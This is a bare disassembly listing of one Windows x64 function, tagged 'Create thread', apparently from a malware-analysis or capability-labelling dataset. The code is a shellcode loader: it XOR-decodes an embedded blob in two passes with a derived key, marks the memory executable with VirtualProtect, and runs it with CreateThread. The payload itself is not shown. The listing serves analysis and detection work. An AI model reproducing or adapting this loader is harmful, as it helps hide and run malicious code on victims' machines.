Function at 0x1eabc139e
Capabilities:
Create thread

Disassembly:
push rbp
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0xd0]
mov dword [rbp - 0x24], 0x31047
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
sub rdx, 1
mov qword [rbp - 0x30], rdx
movsxd rdx, eax
mov r8, rdx
mov r9d, 0
movsxd rdx, eax
mov rcx, rdx
mov ebx, 0
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.1eabc2420
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp - 0x38], rax
mov eax, dword [rbp - 0x24]
cdqe
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
je 0x1eabc14b2
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x48], rax
mov dword [rbp - 4], 0
jmp 0x1eabc14aa
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1eabc3020]
movzx eax, byte [rax + rdx]
xor eax, 0x7a
mov byte [rbp - 0x9d], al
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x9d]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x10], 0
jmp 0x1eabc149f
mov rdx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
add rdx, rcx
movzx eax, byte [rax]
mov byte [rdx], al
add qword [rbp - 0x10], 1
cmp qword [rbp - 0x10], 0
je 0x1eabc147f
add dword [rbp - 4], 2
mov eax, dword [rbp - 4]
cmp eax, dword [rbp - 0x24]
jl 0x1eabc1440
mov ecx, 0x754703
call fcn.1eabc166a
mov dword [rbp - 0x5c], eax
mov ecx, 0x7652ef
call fcn.1eabc166a
mov dword [rbp - 0x60], eax
mov ecx, 0x13a3f9
call fcn.1eabc166a
mov dword [rbp - 0x64], eax
mov ecx, 0x98953d
call fcn.1eabc166a
mov dword [rbp - 0x68], eax
mov eax, dword [rbp - 0x5c]
mov edx, eax
mov eax, dword [rbp - 0x60]
add edx, eax
mov eax, dword [rbp - 0x64]
add edx, eax
mov eax, dword [rbp - 0x68]
add edx, eax
mov eax, 0x7b
sub eax, edx
mov byte [rbp - 0x69], al
cmp qword [rbp - 0x40], 0
je 0x1eabc15a2
cmp dword [rbp - 0x5c], 0
jne 0x1eabc15a2
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x78], rax
mov dword [rbp - 0x14], 1
jmp 0x1eabc159a
mov eax, dword [rbp - 0x14]
cdqe
lea rdx, [0x1eabc3020]
movzx eax, byte [rax + rdx]
xor al, byte [rbp - 0x69]
mov byte [rbp - 0x9e], al
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, qword [rbp - 0x78]
add rax, rdx
mov qword [rbp - 0x80], rax
lea rax, [rbp - 0x9e]
mov qword [rbp - 0x88], rax
mov qword [rbp - 0x20], 0
jmp 0x1eabc158f
mov rdx, qword [rbp - 0x88]
mov rax, qword [rbp - 0x20]
add rax, rdx
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x20]
add rdx, rcx
movzx eax, byte [rax]
mov byte [rdx], al
add qword [rbp - 0x20], 1
cmp qword [rbp - 0x20], 0
je 0x1eabc156c
add dword [rbp - 0x14], 2
mov eax, dword [rbp - 0x14]
cmp eax, dword [rbp - 0x24]
jl 0x1eabc152a
mov dword [rbp - 0x9c], 0
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
lea rcx, [rbp - 0x9c]
mov rax, qword [rbp - 0x40]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x8c], eax
cmp dword [rbp - 0x8c], 0
je 0x1eabc1619
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x98], rax
jmp 0x1eabc1619